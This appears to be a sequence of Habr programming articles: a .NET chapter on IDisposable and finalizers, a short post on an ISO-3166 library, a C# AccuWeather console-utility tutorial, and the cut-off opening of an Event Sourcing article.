The first way is to wrap an instance into `using(...){ ... }`. It means you instruct to destroy an object after the using-related block is over, i.e. to call Dispose(). The second way is to destroy the object, when its lifetime is over, with a reference to the object we want to release. But .NET has nothing but a finalization method that implies automatic destruction of an object, right? However, finalization is not suitable at all as we don’t know when it will be called. Meanwhile, we need to release an object at a certain time, for example just after we finish work with an opened file. That is why we also need to implement IDisposable and call Dispose to release all resources we owned. Thus, we follow the *protocol*, and it is very important. Because if somebody follows it, all the participants should do the same to avoid problems.
Different ways to implement IDisposable
---------------------------------------
Let’s look at the implementations of IDisposable from simple to complicated. The first and the simplest is to use IDisposable as it is:
```
public class ResourceHolder : IDisposable
{
DisposableResource _anotherResource = new DisposableResource();
public void Dispose()
{
_anotherResource.Dispose();
}
}
```
Here, we create an instance of a resource that is further released by Dispose(). The only thing that makes this implementation inconsistent is that you still can work with the instance after its destruction by `Dispose()`:
```
public class ResourceHolder : IDisposable
{
private DisposableResource _anotherResource = new DisposableResource();
private bool _disposed;
public void Dispose()
{
if(_disposed) return;
_anotherResource.Dispose();
_disposed = true;
}
[MethodImpl(MethodImplOptions.AggressiveInlining)]
private void CheckDisposed()
{
if(_disposed) {
throw new ObjectDisposedException();
}
}
}
```
CheckDisposed() must be called as a first expression in all public methods of a class. The obtained `ResourceHolder` class structure looks good to destroy an unmanaged resource, which is `DisposableResource`. However, this structure is not suitable for a wrapped-in unmanaged resource. Let’s look at the example with an unmanaged resource.
```
public class FileWrapper : IDisposable
{
IntPtr _handle;
public FileWrapper(string name)
{
_handle = CreateFile(name, 0, 0, 0, 0, 0, IntPtr.Zero);
}
public void Dispose()
{
CloseHandle(_handle);
}
[DllImport("kernel32.dll", EntryPoint = "CreateFile", SetLastError = true)]
private static extern IntPtr CreateFile(String lpFileName,
UInt32 dwDesiredAccess, UInt32 dwShareMode,
IntPtr lpSecurityAttributes, UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError=true)]
private static extern bool CloseHandle(IntPtr hObject);
}
```
What is the difference in the behavior of the last two examples? The first one describes the interaction of two managed resources. This means that if a program works correctly, the resource will be released anyway. Since `DisposableResource` is managed, .NET CLR knows about it and will release the memory from it if its behaviour is incorrect. Note that I consciously don’t assume what `DisposableResource` type encapsulates. There can be any kind of logic and structure. It can contain both managed and unmanaged resources. *This shouldn't concern us at all*. Nobody asks us to decompile third party’s libraries each time and see whether they use managed or unmanaged resources. And if *our type* uses an unmanaged resource, we cannot be unaware of this. We do this in `FileWrapper` class. So, what happens in this case? If we use unmanaged resources, we have two scenarios. The first one is when everything is OK and Dispose is called. The second one is when something goes wrong and Dispose failed.
Let’s say straight away why this may go wrong:
* If we use `using(obj) { ... }`, an exception may appear in an inner block of code. This exception is caught by `finally` block, which we cannot see (this is syntactic sugar of C#). This block calls Dispose implicitly. However, there are cases when this doesn’t happen. For example, neither `catch` nor `finally` catch `StackOverflowException`. You should always remember this. Because if some thread becomes recursive and `StackOverflowException` occurs at some point, .NET will forget about the resources that it used but not released. It doesn’t know how to release unmanaged resources. They will stay in memory until OS releases them, i.e. when you exit a program, or even some time after the termination of an application.
* If we call Dispose() from another Dispose(). Again, we may happen to fail to get to it. This is not the case of an absent-minded app developer, who forgot to call Dispose(). It is the question of exceptions. However, these are not only the exceptions that crash a thread of an application. Here we talk about all exceptions that will prevent an algorithm from calling an external Dispose() that will call our Dispose().
All these cases will create suspended unmanaged resources. That is because Garbage Collector doesn’t know it should collect them. All it can do upon next check is to discover that the last reference to an object graph with our `FileWrapper` type is lost. In this case, the memory will be reallocated for objects with references. How can we prevent it?
We must implement the finalizer of an object. The 'finalizer' is named this way on purpose. It is not a destructor as it may seem because of similar ways to call finalizers in C# and destructors in C++. The difference is that a finalizer will be called *anyway*, contrary to a destructor (as well as `Dispose()`). A finalizer is called when Garbage Collection is initiated (now it is enough to know this, but things are a bit more complicated). It is used for a guaranteed release of resources if *something goes wrong*. We *must* implement a finalizer to release unmanaged resources. Again, because a finalizer is called when GC is initiated, we don’t know when this happens in general.
Let’s expand our code:
```
public class FileWrapper : IDisposable
{
IntPtr _handle;
public FileWrapper(string name)
{
_handle = CreateFile(name, 0, 0, 0, 0, 0, IntPtr.Zero);
}
public void Dispose()
{
InternalDispose();
GC.SuppressFinalize(this);
}
private void InternalDispose()
{
CloseHandle(_handle);
}
~FileWrapper()
{
InternalDispose();
}
/// other methods
}
```
We enhanced the example with the knowledge about the finalization process and secured the application against losing resource information if Dispose() is not called. We also called GC.SuppressFinalize to disable the finalization of the instance of the type if Dispose() is successfully called. There is no need to release the same resource twice, right? Thus, we also reduce the finalization queue by letting go a random region of code that is likely to run with finalization in parallel, some time later. Now, let’s enhance the example even more.
```
public class FileWrapper : IDisposable
{
IntPtr _handle;
bool _disposed;
public FileWrapper(string name)
{
_handle = CreateFile(name, 0, 0, 0, 0, 0, IntPtr.Zero);
}
public void Dispose()
{
if(_disposed) return;
_disposed = true;
InternalDispose();
GC.SuppressFinalize(this);
}
[MethodImpl(MethodImplOptions.AggressiveInlining)]
private void CheckDisposed()
{
if(_disposed) {
throw new ObjectDisposedException();
}
}
private void InternalDispose()
{
CloseHandle(_handle);
}
~FileWrapper()
{
InternalDispose();
}
/// other methods
}
```
Now our example of a type that encapsulates an unmanaged resource looks complete. Unfortunately, the second `Dispose()` is in fact a standard of the platform and we allow to call it. Note that people often allow the second call of `Dispose()` to avoid problems with a calling code and this is wrong. However, a user of your library who looks at MS documentation may not think so and will allow multiple calls of Dispose(). Calling other public methods will destroy the integrity of an object anyway. If we destroyed the object, we cannot work with it anymore. This means we must call `CheckDisposed` at the beginning of each public method.
However, this code contains a severe problem that prevents it from working as we intended. If we remember how garbage collection works, we will notice one feature. When collecting garbage, GC *primarily* finalizes everything inherited directly from *Object*. Next it deals with objects that implement *CriticalFinalizerObject*. This becomes a problem as both classes that we designed inherit Object. We don’t know in which order they will come to the “last mile”. However, a higher-level object can use its finalizer to finalize an object with an unmanaged resource. Although, this doesn’t sound like a great idea. The order of finalization would be very helpful here. To set it, the lower-level type with an encapsulated unmanaged resource must be inherited from `CriticalFinalizerObject`.
The second reason is more profound. Imagine that you dared to write an application that doesn’t take much care of memory. It allocates memory in huge quantities, without cashing and other subtleties. One day this application will crash with OutOfMemoryException. When it occurs, code runs specifically. It cannot allocate anything, since it will lead to a repeated exception, even if the first one is caught. This doesn’t mean we shouldn’t create new instances of objects. Even a simple method call can throw this exception, e.g. that of finalization. I remind you that methods are compiled when you call them for the first time. This is usual behavior. How can we prevent this problem? Quite easily. If your object is inherited from *CriticalFinalizerObject*, then *all* methods of this type will be compiled straight away upon loading it in memory. Moreover, if you mark methods with *[PrePrepareMethod]* attribute, they will be also pre-compiled and will be secure to call in a low resource situation.
Why is that important? Why spend too much effort on those that pass away? Because unmanaged resources can be suspended in a system for long. Even after you restart a computer. If a user opens a file from a file share in your application, the former will be locked by a remote host and released on the timeout or when you release a resource by closing the file. If your application crashes when the file is opened, it won't be released even after reboot. You will have to wait long until the remote host releases it. Also, you shouldn’t allow exceptions in finalizers. This leads to an accelerated crash of the CLR and of an application as you cannot wrap the call of a finalizer in *try… catch*. I mean, when you try to release a resource, you must be sure it can be released. The last but not less important fact: if the CLR unloads a domain abnormally, the finalizers of types, derived from *CriticalFinalizerObject* will be also called, unlike those inherited directly from *Object*.
> This charper translated from Russian as from language of author by [professional translators](https://github.com/bartov-e). You can help us with creating translated version of this text to any other language including Chinese or German using Russian and English versions of text as source.
>
>
>
> Also, if you want to say «thank you», the best way you can choose is giving us a star on github or forking repository [ https://github.com/sidristij/dotnetbook](https://github.com/sidristij/dotnetbook)
>
> | https://habr.com/ru/post/443958/ | null | en | null |
# ISO-3166 в .NET Framework
В одном из проектов возникла потребность — по названию страны на английском языке получить её двухбуквенный код.
Как известно, двухбуквенные обозначения для стран мира указаны в стандарте [ISO 3166-1](https://ru.wikipedia.org/wiki/ISO_3166-1).
Разочарованием для меня стало то, что в .NET Framework нет прямой поддержки этого стандарта.
Пришлось изобрести свой велосипед.
#### **Зачем?**
Существующих велосипедов для .NET [не так уж и много](https://www.nuget.org/packages?q=iso3166).
К тому же единственный вариант, который был доступен на момент решения задачи, обновлялся аж в 2012 году и содержал массив стран с информацией о них.
Понятное дело, поиском по массиву особенно сыт не будешь, а городить словарь поверх нет смысла (зачем тогда вообще было ставить библиотеку?).
Последней каплей стало то, что после извлечения информации из `CultureInfo.GetCultures`
внезапно не обнаружилось страны под названием Andorra.
Неужели нужно забирать что-то вручную из реестра?
#### **Что в итоге?**
**GitHub:** [Bia.Countries](https://github.com/ilyabreev/Bia.Countries)
**NuGet:** [Bia.Countries](https://www.nuget.org/packages/Bia.Countries/)
Буду рад получить конструктивные замечания! | https://habr.com/ru/post/233017/ | null | ru | null |
# Консольная утилита погоды на C# с помощью .Net
Что необходимо получить и изучить, чтобы начать получать прогноз погоды на 5 дней?
Во-первых, определиться с поставщиком погодных данных. Во-вторых, разобрать, в каком виде поставляются данные и как мы их можем собирать и отображать с помощью языка программирования C#.
В качестве поставщика погодных данных я выбрал сервис Accuweather. В бесплатной учётной записи на данный момент можно сделать 50 запросов в сутки. Этого достаточно, чтобы можно было посмотреть данные о погоде несколько раз в сутки (даже можно поделиться с другом!).
Для регистрации необходимо пройти по ссылке: [https://developer.accuweather.com](https://developer.accuweather.com/). После регистрации нужно нажать на кнопку "Add a new App" и заполнить небольшую анкету. По итогу, вы получите ваш личный ApiKey с помощью которого в дальнейшем можно получать обновлённые данные.
Далее начинается самое интересно. Будем разбирать, как и в каком виде приходит информация и что нужно, чтобы получать погодные данные по конкретному городу.
В разделе "API Reference" самым первым списке установлен раздел "[Locations API](https://developer.accuweather.com/accuweather-locations-api/apis)" с него и начнём. Забегая вперёд, скажу сразу, нельзя так просто взять и отправить в GET запросе название города. Для этого, нам нужно сперва получить Location Key конкретного города. Это значение представлено в виде цифр и уникально для каждого города.
Итак, в разделе Locations API нас интересует метод [City Search](https://developer.accuweather.com/accuweather-locations-api/apis/get/locations/v1/cities/search). Читаем краткое описание к нему: **Returns information for an array of cities that match the search text.** Сразу берём себе на заметку, что нам возвращается массив с названиями городов.
В странице для запроса вставляем ApiKey, название интересующего города и ставим RU, если хотим получать локализованные данные.
После нажатия на кнопку "Send this request" ниже на странице вы получите результат выполнения. В моём случае он выглядит так:
```
[
{
"Version": 1,
"Key": "292332",
"Type": "City",
"Rank": 21,
"LocalizedName": "Chelyabinsk",
"EnglishName": "Chelyabinsk",
"PrimaryPostalCode": "",
"Region": {
"ID": "ASI",
"LocalizedName": "Asia",
"EnglishName": "Asia"
},
"Country": {
"ID": "RU",
"LocalizedName": "Russia",
"EnglishName": "Russia"
},
"AdministrativeArea": {
"ID": "CHE",
"LocalizedName": "Chelyabinsk",
"EnglishName": "Chelyabinsk",
"Level": 1,
"LocalizedType": "Oblast",
"EnglishType": "Oblast",
"CountryID": "RU"
},
"TimeZone": {
"Code": "YEKT",
"Name": "Asia/Yekaterinburg",
"GmtOffset": 5,
"IsDaylightSaving": false,
"NextOffsetChange": null
},
"GeoPosition": {
"Latitude": 55.16,
"Longitude": 61.403,
"Elevation": {
"Metric": {
"Value": 233,
"Unit": "m",
"UnitType": 5
},
"Imperial": {
"Value": 764,
"Unit": "ft",
"UnitType": 0
}
}
},
"IsAlias": false,
"SupplementalAdminAreas": [
{
"Level": 2,
"LocalizedName": "Chelyabinsk",
"EnglishName": "Chelyabinsk"
}
],
"DataSets": [
"AirQualityCurrentConditions",
"AirQualityForecasts",
"Alerts",
"ForecastConfidence"
]
}
]
```
Как видим, нам вернулся массив из одного города. Как будет выглядеть результат, если городов с одинаковым названием два и больше:
```
[
{
"Version": 1,
"Key": "294021",
"Type": "City",
"Rank": 10,
"LocalizedName": "Москва",
"EnglishName": "Moscow",
"PrimaryPostalCode": "",
"Region": {
"ID": "ASI",
"LocalizedName": "Азия",
"EnglishName": "Asia"
},
"Country": {
"ID": "RU",
"LocalizedName": "Россия",
"EnglishName": "Russia"
},
"AdministrativeArea": {
"ID": "MOW",
"LocalizedName": "Москва",
"EnglishName": "Moscow",
"Level": 1,
"LocalizedType": "Город федерального подчинения",
"EnglishType": "Federal City",
"CountryID": "RU"
},
"TimeZone": {
"Code": "MSK",
"Name": "Europe/Moscow",
"GmtOffset": 3,
"IsDaylightSaving": false,
"NextOffsetChange": null
},
"GeoPosition": {
"Latitude": 55.752,
"Longitude": 37.619,
"Elevation": {
"Metric": {
"Value": 155,
"Unit": "m",
"UnitType": 5
},
"Imperial": {
"Value": 508,
"Unit": "ft",
"UnitType": 0
}
}
},
"IsAlias": false,
"SupplementalAdminAreas": [
{
"Level": 2,
"LocalizedName": "Tsentralny",
"EnglishName": "Tsentralny"
}
],
"DataSets": [
"AirQualityCurrentConditions",
"AirQualityForecasts",
"Alerts",
"ForecastConfidence"
]
},
{
"Version": 1,
"Key": "1397263",
"Type": "City",
"Rank": 85,
"LocalizedName": "Москва",
"EnglishName": "Moskwa",
"PrimaryPostalCode": "",
"Region": {
"ID": "EUR",
"LocalizedName": "Европа",
"EnglishName": "Europe"
},
"Country": {
"ID": "PL",
"LocalizedName": "Польша",
"EnglishName": "Poland"
},
"AdministrativeArea": {
"ID": "10",
"LocalizedName": "Лодзинское воеводство",
"EnglishName": "Łódź",
"Level": 1,
"LocalizedType": "Воеводство",
"EnglishType": "Voivodship",
"CountryID": "PL"
},
"TimeZone": {
"Code": "CET",
"Name": "Europe/Warsaw",
"GmtOffset": 1,
"IsDaylightSaving": false,
"NextOffsetChange": "2021-03-28T01:00:00Z"
},
"GeoPosition": {
"Latitude": 51.816,
"Longitude": 19.657,
"Elevation": {
"Metric": {
"Value": 238,
"Unit": "m",
"UnitType": 5
},
"Imperial": {
"Value": 780,
"Unit": "ft",
"UnitType": 0
}
}
},
"IsAlias": false,
"SupplementalAdminAreas": [
{
"Level": 2,
"LocalizedName": "Восточно-Лодзинский повят",
"EnglishName": "Łódź East"
},
{
"Level": 3,
"LocalizedName": "Новосольна",
"EnglishName": "Nowosolna"
}
],
"DataSets": [
"AirQualityCurrentConditions",
"AirQualityForecasts",
"Alerts",
"ForecastConfidence",
"FutureRadar",
"MinuteCast",
"Radar"
]
},
{
"Version": 1,
"Key": "580845",
"Type": "City",
"Rank": 85,
"LocalizedName": "Москва",
"EnglishName": "Moskva",
"PrimaryPostalCode": "",
"Region": {
"ID": "ASI",
"LocalizedName": "Азия",
"EnglishName": "Asia"
},
"Country": {
"ID": "RU",
"LocalizedName": "Россия",
"EnglishName": "Russia"
},
"AdministrativeArea": {
"ID": "KIR",
"LocalizedName": "Киров",
"EnglishName": "Kirov",
"Level": 1,
"LocalizedType": "Республика",
"EnglishType": "Republic",
"CountryID": "RU"
},
"TimeZone": {
"Code": "MSK",
"Name": "Europe/Moscow",
"GmtOffset": 3,
"IsDaylightSaving": false,
"NextOffsetChange": null
},
"GeoPosition": {
"Latitude": 57.968,
"Longitude": 49.104,
"Elevation": {
"Metric": {
"Value": 207,
"Unit": "m",
"UnitType": 5
},
"Imperial": {
"Value": 678,
"Unit": "ft",
"UnitType": 0
}
}
},
"IsAlias": false,
"SupplementalAdminAreas": [
{
"Level": 2,
"LocalizedName": "Verkhoshizhemsky",
"EnglishName": "Verkhoshizhemsky"
}
],
"DataSets": [
"AirQualityCurrentConditions",
"AirQualityForecasts",
"Alerts",
"ForecastConfidence"
]
},
{
"Version": 1,
"Key": "2488304",
"Type": "City",
"Rank": 85,
"LocalizedName": "Москва",
"EnglishName": "Moskva",
"PrimaryPostalCode": "",
"Region": {
"ID": "ASI",
"LocalizedName": "Азия",
"EnglishName": "Asia"
},
"Country": {
"ID": "RU",
"LocalizedName": "Россия",
"EnglishName": "Russia"
},
"AdministrativeArea": {
"ID": "PSK",
"LocalizedName": "Псков",
"EnglishName": "Pskov",
"Level": 1,
"LocalizedType": "Область",
"EnglishType": "Oblast",
"CountryID": "RU"
},
"TimeZone": {
"Code": "MSK",
"Name": "Europe/Moscow",
"GmtOffset": 3,
"IsDaylightSaving": false,
"NextOffsetChange": null
},
"GeoPosition": {
"Latitude": 57.449,
"Longitude": 29.185,
"Elevation": {
"Metric": {
"Value": 161,
"Unit": "m",
"UnitType": 5
},
"Imperial": {
"Value": 528,
"Unit": "ft",
"UnitType": 0
}
}
},
"IsAlias": false,
"SupplementalAdminAreas": [
{
"Level": 2,
"LocalizedName": "Porkhovsky",
"EnglishName": "Porkhovsky"
}
],
"DataSets": [
"AirQualityCurrentConditions",
"AirQualityForecasts",
"Alerts",
"Radar"
]
},
{
"Version": 1,
"Key": "580847",
"Type": "City",
"Rank": 85,
"LocalizedName": "Москва",
"EnglishName": "Moskva",
"PrimaryPostalCode": "",
"Region": {
"ID": "ASI",
"LocalizedName": "Азия",
"EnglishName": "Asia"
},
"Country": {
"ID": "RU",
"LocalizedName": "Россия",
"EnglishName": "Russia"
},
"AdministrativeArea": {
"ID": "TVE",
"LocalizedName": "Тверь",
"EnglishName": "Tver'",
"Level": 1,
"LocalizedType": "Область",
"EnglishType": "Oblast",
"CountryID": "RU"
},
"TimeZone": {
"Code": "MSK",
"Name": "Europe/Moscow",
"GmtOffset": 3,
"IsDaylightSaving": false,
"NextOffsetChange": null
},
"GeoPosition": {
"Latitude": 56.918,
"Longitude": 32.163,
"Elevation": {
"Metric": {
"Value": 251,
"Unit": "m",
"UnitType": 5
},
"Imperial": {
"Value": 823,
"Unit": "ft",
"UnitType": 0
}
}
},
"IsAlias": false,
"SupplementalAdminAreas": [
{
"Level": 2,
"LocalizedName": "Penovsky",
"EnglishName": "Penovsky"
}
],
"DataSets": [
"AirQualityCurrentConditions",
"AirQualityForecasts",
"Alerts"
]
}
]
```
Как видно, нам вернулся массив уже из большего количества городов. Как я говорил раньше, нужно получить уникальное значение Key, чтобы получать данные о погоде нужного нам города. Это значение установлено вторым в каждом городе.
Итак, представление о том, с чем нам нужно работать с начала есть. Теперь, осталось переложить всё в C#. Для большего интереса, я буду программировать на языке C# и используя редактор VSCodium. Всё это работает на OpenSuSe Leap 15.2.
Для начала, чтобы не заморачиваться каждый раз со вводом очень длинного ApiKey, реализуем метод, который запишет ApiKey на диск и ещё один метод, который этот ApiKey будет восстанавливать в памяти.
Класс, который описывает UserApi:
```
namespace habraweatherappconsole
{
public class UserApi
{
public string UserApiProperty { get;set; }
}
}
```
Далее, создаю класс, который будет реализовывать методы чтения и записи:
```
///
/// Метод реализуе возможность восстановления списка APIKey в памяти
///
public static void ReadUserApiToLocalStorage()
{
XmlSerializer xmlSerializer = new XmlSerializer(typeof(ObservableCollection));
try
{
using (StreamReader sr = new StreamReader("UserApi.xml"))
{
userApiList = xmlSerializer.Deserialize(sr) as ObservableCollection;
}
}
catch(Exception ex)
{
/\* Не вывожу никаких сообщений об ошибке. Потому как, если утилита была запущена впервые
/ то файла скорее всего нет. Даже если бы он был и из-за каких-то аппаратных проблем стал недоступен
/ то что я могу с этим поделать в таком случае?
\*/
}
}
```
Да, мне лично XML кажется более читаемым и удобным, поэтому все данные, которые утилита будет хранить на компьютере, она будет записывать в виде XML.
Сделано. Дальше, начинается та часть работы, которая требует внимательного подхода к ней. Нужно реализовать класс, который будет соответствовать получаемому Json объекту. Любая ошибка в переносе может привести к тому, что утилита будет падать с ошибками.
Итак, что мы видим в верхушке получаемого объекта:
```
"Version": 1,
"Key": "292332",
"Type": "City",
"Rank": 21,
"LocalizedName": "Chelyabinsk",
"EnglishName": "Chelyabinsk",
"PrimaryPostalCode": "",
```
Мы видим версию API в виде числа, уникальный ключ города в виде числа, тип населённого пункта в виде строки, Ранг (не смог найти, что это значит) в виде числа, оригинальное и локализованное название города в виде строки и почтовый индекс. Почтовый индекс вернулся пустой, поэтому, беру строку из-за её универсальности.
Следовательно, реализовываем эту часть так:
```
public class RootBasicCityInfo {
public int Version { get; set; }
public string Key { get; set; }
public string Type { get; set; }
public int Rank { get; set; }
public string LocalizedName { get; set; }
public string EnglishName { get; set; }
public string PrimaryPostalCode { get; set; }
```
Так же, в json объекте присутствует и другие сведения об искомом городе:
```
"Region": {
"ID": "ASI",
"LocalizedName": "Азия",
"EnglishName": "Asia"
},
"Country": {
"ID": "RU",
"LocalizedName": "Россия",
"EnglishName": "Russia"
},
"AdministrativeArea": {
"ID": "MOW",
"LocalizedName": "Москва",
"EnglishName": "Moscow",
"Level": 1,
"LocalizedType": "Город федерального подчинения",
"EnglishType": "Federal City",
"CountryID": "RU"
},
```
Поэтому, там же реализуем классы для Region, Country, AdministrativeArea примерно так:
```
public class Region {
public string ID { get; set; }
public string LocalizedName { get; set; }
public string EnglishName { get; set; }
}
public class Country {
public string ID { get; set; }
public string LocalizedName { get; set; }
public string EnglishName { get; set; }
}
public class AdministrativeArea {
public string ID { get; set; }
public string LocalizedName { get; set; }
public string EnglishName { get; set; }
public int Level { get; set; }
public string LocalizedType { get; set; }
public string EnglishType { get; set; }
public string CountryID { get; set; }
}
```
Итоговый класс должен выглядеть примерно так:
```
public class RootBasicCityInfo {
public int Version { get; set; }
public string Key { get; set; }
public string Type { get; set; }
public int Rank { get; set; }
public string LocalizedName { get; set; }
public string EnglishName { get; set; }
public string PrimaryPostalCode { get; set; }
public Region Region { get; set; }
public Country Country { get; set; }
public AdministrativeArea AdministrativeArea { get; set; }
public TimeZone TimeZone { get; set; }
public GeoPosition GeoPosition { get; set; }
public bool IsAlias { get; set; }
public List SupplementalAdminAreas { get; set; }
public List DataSets { get; set; }
}
```
Дальше, описываем класс, который реализует метод получения списка городов:
```
using System;
using System.Collections.ObjectModel;
using System.Net;
using System.Text.Json;
using static System.Console;
namespace habraweatherappconsole
{
///
/// Класс описывает возможность получения поиска
/// и добавления городов для их последующего мониторинга.
///
public static class SearchCity
{
///
/// Метод реализует возможность получения списка городов.
/// В качестве формального параметра принимается название города
/// которое должно быть указано в классе MainMenu.
///
///
public static void GettingListOfCitiesOnRequest(string formalCityName)
{
// Получаю ApiKey из списка
string apiKey = UserApiManager.userApiList[0].UserApiProperty;
try
{
string jsonOnWeb = $"http://dataservice.accuweather.com/locations/v1/cities/search?apikey={apiKey}&q={formalCityName}";
WebClient webClient = new WebClient();
string prepareString = webClient.DownloadString(jsonOnWeb);
ObservableCollection rbci = JsonSerializer.Deserialize>(prepareString);
DataRepo.PrintКeceivedСities(rbci);
}
catch (Exception ex)
{
WriteLine("Неполучилось отобразить запрашиваемый город."
+ "Возможные причины: \n" +
"\* Неправильно указано название города\n"
+ "\* Нет доступа к интернету\n"
+ "Подробнее ниже: \n"
+ ex.Message);
}
}
}
}
```
Реализую метод, который выводит на экран полученный список:
```
///
/// Метод реализует возможность отображать список запрашиваемых городов
/// (Если городов с таким названием больше, чем 1).
///
///
public static void PrintКeceivedСities (ObservableCollection formalListOfCityes)
{
string pattern = "=====\n" + "Номер в списке: {0}\n" + "Название в оригинале: {1}\n"
+ "В переводе: {2} \n" + "Страна: {3}\n" + "Административный округ: {4}\n"
+ "Тип: {5}\n" + "====\n";
int numberInList = 0;
foreach (var item in formalListOfCityes)
{
WriteLine(pattern, numberInList.ToString(),
item.EnglishName, item.LocalizedName, item.Country.LocalizedName,
item.AdministrativeArea.LocalizedName, item.AdministrativeArea.LocalizedType);
numberInList++;
}
Write ("Номер какого города добавить в мониторинг: ");
int num = Convert.ToInt32(Console.ReadLine());
try
{
listOfCityForMonitorWeather.Add(formalListOfCityes[num]);
}
catch (Exception ex)
{
WriteLine("Похоже, вы ошиблись цифрой.\n");
WriteLine(ex.Message);
}
WriteListOfCityMonitoring();
}
```
Метод, который реализует запись списка со всеми отслеживаемыми городами на диск (чтобы при повторном запуске не тратить драгоценный APIKey)
```
///
/// Метод реализует возможность записывать список отслеживаемых городов
/// на жёсткий диск.
///
private static void WriteListOfCityMonitoring()
{
XmlSerializer xmlSerializer = new XmlSerializer(typeof(ObservableCollection));
using (StreamWriter sw = new StreamWriter("RootBasicCityInfo.xml"))
{
xmlSerializer.Serialize(sw, listOfCityForMonitorWeather);
}
}
```
Отлично. Всё необходимое сделано для того, что бы перейти к следующей части реализации работы утилиты - получение информации и погоде на следующие 5 дней.
Поскольку данные о погоде это отдельный Json объект, то по аналогии с тем, как была разобрана информация о искомом городе, нужно разобрать информацию о погоде в этом городе.
Accuweather может предоставить информацию на 1 текущий день, 5, 10 и 15 дней. В ответ будет приходить json объект одного и того же типа. Разница будет только в Get запросе и количестве возвращаемых дней.
Пример того, что возвращается в json объекте:
```
"Headline": {
"EffectiveDate": "2021-02-23T07:00:00+03:00",
"EffectiveEpochDate": 1614052800,
"Severity": 3,
"Text": "Окончание понижения температуры: Среда",
"Category": "cold",
"EndDate": "2021-02-24T19:00:00+03:00",
"EndEpochDate": 1614182400,
"MobileLink": "http://m.accuweather.com/ru/ru/moscow/294021/extended-weather-forecast/294021?unit=c",
"Link": "http://www.accuweather.com/ru/ru/moscow/294021/daily-weather-forecast/294021?unit=c"
},
"DailyForecasts": [
{
"Date": "2021-02-23T07:00:00+03:00",
"EpochDate": 1614052800,
"Temperature": {
"Minimum": {
"Value": -24.4,
"Unit": "C",
"UnitType": 17
},
"Maximum": {
"Value": -20.6,
"Unit": "C",
"UnitType": 17
}
},
"Day": {
"Icon": 31,
"IconPhrase": "Холодно",
"HasPrecipitation": false
},
"Night": {
"Icon": 31,
"IconPhrase": "Холодно",
"HasPrecipitation": false
},
"Sources": [
"AccuWeather"
],
"MobileLink": "http://m.accuweather.com/ru/ru/moscow/294021/daily-weather-forecast/294021?day=1&unit=c",
"Link": "http://www.accuweather.com/ru/ru/moscow/294021/daily-weather-forecast/294021?day=1&unit=c"
},
```
Следовательно, класс должен выглядеть примерно так:
```
public class DailyForecast {
public DateTime Date { get; set; }
public int EpochDate { get; set; }
public Temperature Temperature { get; set; }
public Day Day { get; set; }
public Night Night { get; set; }
public List Sources { get; set; }
public string MobileLink { get; set; }
public string Link { get; set; }
}
public class RootWeather {
public Headline Headline { get; set; }
public List DailyForecasts { get; set; }
}
```
Исходим из того, что пользователь может добавить (и уже добавил) один или несколько городов. Для того, чтобы показать погоду по интересующему городу, сперва выведем на экран все города, какие уже есть:
```
string pattern = "=====\n" + "Номер в списке: {0}\n" + "Название в оригинале: {1}\n"
+ "В переводе: {2} \n" + "Страна: {3}\n" + "Административный округ: {4}\n"
+ "Тип: {5}\n" + "====\n";
int numberInList = 0;
foreach (var item in DataRepo.listOfCityForMonitorWeather)
{
WriteLine(pattern, numberInList.ToString(),
item.EnglishName, item.LocalizedName, item.Country.LocalizedName,
item.AdministrativeArea.LocalizedName, item.AdministrativeArea.LocalizedType);
numberInList++;
}
bool ifNotExists = false;
string cityKey = null;
int num = 0;
do
{
ifNotExists = false;
Write("Номер города для просмотра погоды: ");
num = Convert.ToInt32(Console.ReadLine());
if (num < 0 || num > DataRepo.listOfCityForMonitorWeather.Count - 1)
{
WriteLine("Такого номера нет. Попробуйте ещё раз.");
ifNotExists = true;
}
} while(ifNotExists);
cityKey = DataRepo.listOfCityForMonitorWeather[num].Key;
```
А затем получаю информацию о погоде:
```
// Получаю ApiKey из списка
string apiKey = UserApiManager.userApiList[0].UserApiProperty;
string jsonUrl = $"http://dataservice.accuweather.com/forecasts/v1/daily/5day/{cityKey}?apikey={apiKey}&language=ru&metric=true";
jsonUrl = webClient.DownloadString(jsonUrl);
RootWeather weatherData = JsonSerializer.Deserialize(jsonUrl);
string patternWeather = "=====\n" + "Дата: {0}\n" + "Температура минимальная: {1}\n"
+"Температура максимальная: {2}\n" + "Примечание на день: {3}\n" + "Примечание на ночь: {4}\n" + "====\n";
foreach (var item in weatherData.DailyForecasts)
{
WriteLine(patternWeather, item.Date, item.Temperature.Minimum.Value,
item.Temperature.Maximum.Value, item.Day.IconPhrase, item.Night.IconPhrase);
}
```
Таким образом будет получена и напечатана информация о погоде на следующие 5 дней.
В заключении: в этой статье я показал основные моменты, которые были необходимы для того, чтобы данные о погоде были показаны. Полный исходный код утилиты вы сможете найти на ГитЛаб и ГитХаб. Так же, я буду рад любой критике по делу и совету от старших программистов.
* <https://gitlab.com/rammfire/habraweatherappconsole>
* <https://github.com/rammfire/habraweatherappconsole>
Спасибо за уделённое время, удачи! | https://habr.com/ru/post/544592/ | null | ru | null |
# Почему Event Sourcing — это антипаттерн для взаимодействия микросервисов
***И снова здравствуйте. В марте OTUS запускает очередной поток курса [«Архитектор ПО»](https://otus.pw/i1jUa/). В преддверии старта курса подготовили для вас перевод полезного материала.***

---
Последнее время получают распространение событийно-ориентированные архитектуры (event-driven architectures) и, в частности, Event Sourcing (порождение событий). Эта вызвано стремлением к созданию устойчивых и масштабируемых модульных систем. В этом контексте довольно часто используется термин “микросервисы”. На мой взгляд, микросервисы — это всего лишь один из способов реализации “ограниченного контекста” ([Bounded Context](https://martinfowler.com/bliki/BoundedContext.html)). Очень важно правильно определить границы модулей и в этом помогает стратегическое проектирование ([Strategic Design](https://en.wikipedia.org/wiki/Domain-driven_design#Strategic_domain-driven_design)), описанное Эриком Эвансом в Domain Driven Design. Оно помогает вам идентифицировать / обнаружить модули, границы (“ограниченный контекст”) и описать, как эти контексты связаны друг с другом (карта контекстов, ContextMap).
### События предметной области как основа единого языка
